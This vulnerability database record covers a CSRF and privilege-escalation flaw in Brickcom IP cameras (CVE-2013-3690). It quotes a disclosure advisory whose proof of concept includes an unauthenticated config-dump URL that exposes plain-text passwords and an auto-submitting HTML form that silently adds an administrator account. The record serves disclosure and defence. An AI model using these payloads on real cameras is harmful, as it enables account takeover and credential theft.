var-201310-0208
Vulnerability from variot
Cross-site request forgery (CSRF) vulnerability in cgi-bin/users.cgi in Brickcom FB-100Ap, WCB-100Ap, MD-100Ap, WFB-100Ap, OB-100Ae, OSD-040E, and possibly other camera models with firmware 3.1.0.8 and earlier, allows remote attackers to hijack the authentication of administrators for requests that add users. Brickcom IP Cameras are IP camera devices. A cross-site request forgery vulnerability exists in the Brickcom IP Cameras WEB interface. Allows an attacker to build a malicious URI, entice a user to resolve, and can be used to boost user permissions. Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible. Brickcom cameras running firmware 3.0.6.7, 3.0.6.12, and 3.0.6.16C1 are vulnerable; other versions may also be affected. Brickcom FB-100Ap and so on are network camera products of Brickcom. The following models are affected: FB-100Ap, WCB-100Ap, MD-100Ap, WFB-100Ap, OB-100Ae, OSD-040E. ============================================================================ BRICKCOM ==================================================================== ============================================================================
1.Advisory Information Title: Brickcom 100ap Series Vulnerabilities Date Published: 12/06/2013 Date of last updated: 12/06/2013
2.Vulnerability Description Multiples vulnerabilities have been found in this device. -CVE-2013-3689. Authentication Bypass Issues(CWE-592) and Clear Text Storage of Sensitive Information(CWE-312) -CVE-2013-3690. Cross Site Request Forgery(CWE-352), Permissions, Privileges, and Access Control(CWE-264) and Execution with Unnecessary Privileges(CWE-250)
3.Affected Products The following products are affected by these vulnerabilities: FB-100Ap, WCB-100Ap, MD-100Ap, WFB-100Ap, OB-100Ae, OSD-040E It\x92s possible others models are affected but they were not checked. -CVE-2013-3689. We have detected the following vulnerable firmwares: firmwareVersion=v3.0.6.7, v3.0.6.12, v3.0.6.16C1 In the next firmwares, you need to be log-in as administrator to download this file, but the information is in plain text yet: firmwareVersion=v3.1.0.8,v3.1.0.4 -CVE-2013-3690. All firmware checked.
4.PoC 4.1.Authentication Bypass & Clear Text Storage of Sensitive Information CVE-2013-3689, These allows you to download the all the configuration device file writing the next URL (all data shown will be in plain text). It\x92s not necessary any authentication.
http://xx.xx.xx.xx/configfile.dump?action=get
The most interesting parameters could be: UserSetSetting.userList.users[n\xba].password= *** UserSetSetting.userList.users[n\xba].name= ***
4.2.Cross Site Request Forgerty (CSRF) + Privilege Escalation CVE-2013-3690, CSRF is possible via POST method. Also is possible a privilege escalation from a viewer user to an administrator user. A malicious user can try targeted attacks by sending a special CSRF vector. This allows you to manipulate web interface parameters. The following request can exploit this vulnerability
5.Credits -CVE-2013-3689 was discovered by Eliezer Varad\xe9 Lopez, Javier Repiso S\xe1nchez and Jon\xe1s Ropero Castillo. -CVE-2013-3690 was discovered by Jon\xe1s Ropero Castillo.
6.Report Timeline -2013-05-31: Students team notifies the Brickcom Customer Support of the vulnerabilities. -2013-05-31: Brickcom answers saying this in accordance with some of the vulnerabilities, but there are some that they think is not correct. (CVE-2013-3689, Authentication bypass and plain text information: After talk with vendor, it\x92s looks that after firmware 3.1.x.x, this bug is fixed but still the information is shown in plain text, so they should fix this second one) -2013-06-03: Students check and communicate Brickcom the detail products and firmwares affected by vulnerabilities. -2013-06-04: The vendor is agree with everything stated and reports that will fix it as soon as possible
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201310-0208",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "100ap device",
"scope": "eq",
"trust": 1.6,
"vendor": "brickom",
"version": "3.1.0.8"
},
{
"model": "osd-040e",
"scope": null,
"trust": 1.4,
"vendor": "brickcom",
"version": null
},
{
"model": "ob-100ae",
"scope": null,
"trust": 1.4,
"vendor": "brickcom",
"version": null
},
{
"model": "wfb-100ap",
"scope": null,
"trust": 1.4,
"vendor": "brickcom",
"version": null
},
{
"model": "md-100ap",
"scope": null,
"trust": 1.4,
"vendor": "brickcom",
"version": null
},
{
"model": "wcb-100ap",
"scope": null,
"trust": 1.4,
"vendor": "brickcom",
"version": null
},
{
"model": "fb-100ap",
"scope": null,
"trust": 1.4,
"vendor": "brickcom",
"version": null
},
{
"model": "wcb-100ap",
"scope": "eq",
"trust": 1.0,
"vendor": "brickom",
"version": null
},
{
"model": "fb-100ap",
"scope": "eq",
"trust": 1.0,
"vendor": "brickom",
"version": null
},
{
"model": "ob-100ae",
"scope": "eq",
"trust": 1.0,
"vendor": "brickom",
"version": null
},
{
"model": "md-100ap",
"scope": "eq",
"trust": 1.0,
"vendor": "brickom",
"version": null
},
{
"model": "osd-040e",
"scope": "eq",
"trust": 1.0,
"vendor": "brickom",
"version": null
},
{
"model": "wfb-100ap",
"scope": "eq",
"trust": 1.0,
"vendor": "brickom",
"version": null
},
{
"model": "100-ap series",
"scope": "lte",
"trust": 0.8,
"vendor": "brickcom",
"version": "3.1.0.8"
},
{
"model": "brickcom",
"scope": "eq",
"trust": 0.3,
"vendor": "brickom",
"version": "3.0.6.7"
},
{
"model": "brickcom 3.0.6.16c1",
"scope": null,
"trust": 0.3,
"vendor": "brickom",
"version": null
},
{
"model": "brickcom",
"scope": "eq",
"trust": 0.3,
"vendor": "brickom",
"version": "3.0.6.12"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-07707"
},
{
"db": "BID",
"id": "60526"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-004457"
},
{
"db": "NVD",
"id": "CVE-2013-3690"
},
{
"db": "CNNVD",
"id": "CNNVD-201306-252"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:brickom:100ap_device_firmware:3.1.0.8:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:brickom:wcb-100ap:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:h:brickom:wfb-100ap:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:h:brickom:ob-100ae:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:h:brickom:osd-040e:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:h:brickom:fb-100ap:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:h:brickom:md-100ap:-:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
}
]
}
],
"sources": [
{
"db": "NVD",
"id": "CVE-2013-3690"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "JonAis Ropero Castillo.",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201306-252"
}
],
"trust": 0.6
},
"cve": "CVE-2013-3690",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"acInsufInfo": false,
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "NVD",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"severity": "MEDIUM",
"trust": 1.0,
"userInteractionRequired": true,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "Medium",
"accessVector": "Network",
"authentication": "None",
"author": "NVD",
"availabilityImpact": "Partial",
"baseScore": 6.8,
"confidentialityImpact": "Partial",
"exploitabilityScore": null,
"id": "CVE-2013-3690",
"impactScore": null,
"integrityImpact": "Partial",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "Medium",
"trust": 0.8,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "CNVD",
"availabilityImpact": "NONE",
"baseScore": 3.5,
"confidentialityImpact": "NONE",
"exploitabilityScore": 6.8,
"id": "CNVD-2013-07707",
"impactScore": 2.9,
"integrityImpact": "PARTIAL",
"severity": "LOW",
"trust": 0.6,
"vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "VHN-63692",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:N/AC:M/AU:N/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [],
"severity": [
{
"author": "NVD",
"id": "CVE-2013-3690",
"trust": 1.8,
"value": "MEDIUM"
},
{
"author": "CNVD",
"id": "CNVD-2013-07707",
"trust": 0.6,
"value": "LOW"
},
{
"author": "CNNVD",
"id": "CNNVD-201306-252",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "VULHUB",
"id": "VHN-63692",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-07707"
},
{
"db": "VULHUB",
"id": "VHN-63692"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-004457"
},
{
"db": "NVD",
"id": "CVE-2013-3690"
},
{
"db": "CNNVD",
"id": "CNNVD-201306-252"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Cross-site request forgery (CSRF) vulnerability in cgi-bin/users.cgi in Brickcom FB-100Ap, WCB-100Ap, MD-100Ap, WFB-100Ap, OB-100Ae, OSD-040E, and possibly other camera models with firmware 3.1.0.8 and earlier, allows remote attackers to hijack the authentication of administrators for requests that add users. Brickcom IP Cameras are IP camera devices. A cross-site request forgery vulnerability exists in the Brickcom IP Cameras WEB interface. Allows an attacker to build a malicious URI, entice a user to resolve, and can be used to boost user permissions. \nExploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible. \nBrickcom cameras running firmware 3.0.6.7, 3.0.6.12, and 3.0.6.16C1 are vulnerable; other versions may also be affected. Brickcom FB-100Ap and so on are network camera products of Brickcom. The following models are affected: FB-100Ap, WCB-100Ap, MD-100Ap, WFB-100Ap, OB-100Ae, OSD-040E. ============================================================================\nBRICKCOM\n====================================================================\n============================================================================\n\n1.Advisory Information\nTitle: Brickcom 100ap Series Vulnerabilities\nDate Published: 12/06/2013\nDate of last updated: 12/06/2013\n\n2.Vulnerability Description\nMultiples vulnerabilities have been found in this device. \n-CVE-2013-3689. Authentication Bypass Issues(CWE-592) and Clear Text Storage of Sensitive Information(CWE-312)\n-CVE-2013-3690. Cross Site Request Forgery(CWE-352), Permissions, Privileges, and Access Control(CWE-264) and Execution with Unnecessary Privileges(CWE-250)\n\n3.Affected Products\nThe following products are affected by these vulnerabilities:\nFB-100Ap, WCB-100Ap, MD-100Ap, WFB-100Ap, OB-100Ae, OSD-040E\nIt\\x92s possible others models are affected but they were not checked. \n-CVE-2013-3689. \nWe have detected the following vulnerable firmwares: firmwareVersion=v3.0.6.7, v3.0.6.12, v3.0.6.16C1\nIn the next firmwares, you need to be log-in as administrator to download this file, but the information is in plain text yet: firmwareVersion=v3.1.0.8,v3.1.0.4\n-CVE-2013-3690. \nAll firmware checked. \n\n4.PoC\n4.1.Authentication Bypass \u0026 Clear Text Storage of Sensitive Information\nCVE-2013-3689, These allows you to download the all the configuration device file writing the next URL (all data shown will be in plain text). It\\x92s not necessary any authentication. \n_____________________________________________________________________________\nhttp://xx.xx.xx.xx/configfile.dump?action=get\n_____________________________________________________________________________\n\nThe most interesting parameters could be:\nUserSetSetting.userList.users[n\\xba].password= ***\nUserSetSetting.userList.users[n\\xba].name= ***\n\n4.2.Cross Site Request Forgerty (CSRF) + Privilege Escalation\nCVE-2013-3690, CSRF is possible via POST method. \nAlso is possible a privilege escalation from a viewer user to an administrator user. \nA malicious user can try targeted attacks by sending a special CSRF vector. This allows you to manipulate web interface parameters. \nThe following request can exploit this vulnerability\n_____________________________________________________________________________\n\u003chtml\u003e\n\u003cbody\u003e\n \u003cform name=\"gobap\" action=\"http://xx.xx.xx.xx/cgi-bin/users.cgi\" method=\"POST\"\u003e\n \u003cinput type=\"hidden\" name=\"action\" value=\"add\"\u003e\n \u003cinput type=\"hidden\" name=\"index\" value=\"0\"\u003e\n \u003cinput type=\"hidden\" name=\"username\" value=\"test2\"\u003e\n \u003cinput type=\"hidden\" name=\"password\" value=\"test2\"\u003e\n \u003cinput type=\"hidden\" name=\"privilege\" value=\"1\"\u003e\n \u003cscript\u003edocument.gobap.submit();\u003c/script\u003e\n \u003c/form\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n_____________________________________________________________________________\n\n5.Credits\n-CVE-2013-3689 was discovered by Eliezer Varad\\xe9 Lopez, Javier Repiso S\\xe1nchez and Jon\\xe1s Ropero Castillo. \n-CVE-2013-3690 was discovered by Jon\\xe1s Ropero Castillo. \n\n6.Report Timeline\n-2013-05-31: Students team notifies the Brickcom Customer Support of the vulnerabilities. \n-2013-05-31: Brickcom answers saying this in accordance with some of the vulnerabilities, but there are some that they think is not correct. \n(CVE-2013-3689, Authentication bypass and plain text information: After talk with vendor, it\\x92s looks that after firmware 3.1.x.x, this bug is fixed but still the information is shown in plain text, so they should fix this second one)\n-2013-06-03: Students check and communicate Brickcom the detail products and firmwares affected by vulnerabilities. \n-2013-06-04: The vendor is agree with everything stated and reports that will fix it as soon as possible",
"sources": [
{
"db": "NVD",
"id": "CVE-2013-3690"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-004457"
},
{
"db": "CNVD",
"id": "CNVD-2013-07707"
},
{
"db": "BID",
"id": "60526"
},
{
"db": "VULHUB",
"id": "VHN-63692"
},
{
"db": "PACKETSTORM",
"id": "122003"
}
],
"trust": 2.61
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-63692",
"trust": 0.1,
"type": "unknown"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-63692"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2013-3690",
"trust": 3.5
},
{
"db": "BID",
"id": "60526",
"trust": 1.6
},
{
"db": "JVNDB",
"id": "JVNDB-2013-004457",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201306-252",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2013-07707",
"trust": 0.6
},
{
"db": "FULLDISC",
"id": "20130612 SECURITY ANALYSIS OF IP VIDEO SURVEILLANCE CAMERAS",
"trust": 0.6
},
{
"db": "EXPLOIT-DB",
"id": "38582",
"trust": 0.1
},
{
"db": "VULHUB",
"id": "VHN-63692",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "122003",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-07707"
},
{
"db": "VULHUB",
"id": "VHN-63692"
},
{
"db": "BID",
"id": "60526"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-004457"
},
{
"db": "PACKETSTORM",
"id": "122003"
},
{
"db": "NVD",
"id": "CVE-2013-3690"
},
{
"db": "CNNVD",
"id": "CNNVD-201306-252"
}
]
},
"id": "VAR-201310-0208",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-07707"
},
{
"db": "VULHUB",
"id": "VHN-63692"
}
],
"trust": 1.3666667
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-07707"
}
]
},
"last_update_date": "2023-12-18T10:59:03.365000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top Page",
"trust": 0.8,
"url": "http://www.brickcom.com/"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-004457"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-352",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-63692"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-004457"
},
{
"db": "NVD",
"id": "CVE-2013-3690"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.4,
"url": "http://seclists.org/fulldisclosure/2013/jun/84"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-3690"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2013-3690"
},
{
"trust": 0.6,
"url": "http://www.securityfocus.com/bid/60526"
},
{
"trust": 0.3,
"url": "http://www.brickcom.com/index.php"
},
{
"trust": 0.1,
"url": "http://xx.xx.xx.xx/configfile.dump?action=get"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-3690"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-3689"
},
{
"trust": 0.1,
"url": "http://xx.xx.xx.xx/cgi-bin/users.cgi\""
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-07707"
},
{
"db": "VULHUB",
"id": "VHN-63692"
},
{
"db": "BID",
"id": "60526"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-004457"
},
{
"db": "PACKETSTORM",
"id": "122003"
},
{
"db": "NVD",
"id": "CVE-2013-3690"
},
{
"db": "CNNVD",
"id": "CNNVD-201306-252"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2013-07707"
},
{
"db": "VULHUB",
"id": "VHN-63692"
},
{
"db": "BID",
"id": "60526"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-004457"
},
{
"db": "PACKETSTORM",
"id": "122003"
},
{
"db": "NVD",
"id": "CVE-2013-3690"
},
{
"db": "CNNVD",
"id": "CNNVD-201306-252"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2013-06-20T00:00:00",
"db": "CNVD",
"id": "CNVD-2013-07707"
},
{
"date": "2013-10-01T00:00:00",
"db": "VULHUB",
"id": "VHN-63692"
},
{
"date": "2013-06-12T00:00:00",
"db": "BID",
"id": "60526"
},
{
"date": "2013-10-04T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-004457"
},
{
"date": "2013-06-13T06:08:04",
"db": "PACKETSTORM",
"id": "122003"
},
{
"date": "2013-10-01T19:55:09.397000",
"db": "NVD",
"id": "CVE-2013-3690"
},
{
"date": "2013-06-20T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201306-252"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2013-06-20T00:00:00",
"db": "CNVD",
"id": "CNVD-2013-07707"
},
{
"date": "2013-10-02T00:00:00",
"db": "VULHUB",
"id": "VHN-63692"
},
{
"date": "2013-06-12T00:00:00",
"db": "BID",
"id": "60526"
},
{
"date": "2013-10-04T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-004457"
},
{
"date": "2013-10-02T17:21:51.823000",
"db": "NVD",
"id": "CVE-2013-3690"
},
{
"date": "2013-10-16T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201306-252"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201306-252"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "plural Brickcom Product cross-site request forgery vulnerability",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-004457"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "cross-site request forgery",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201306-252"
}
],
"trust": 0.6
}
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.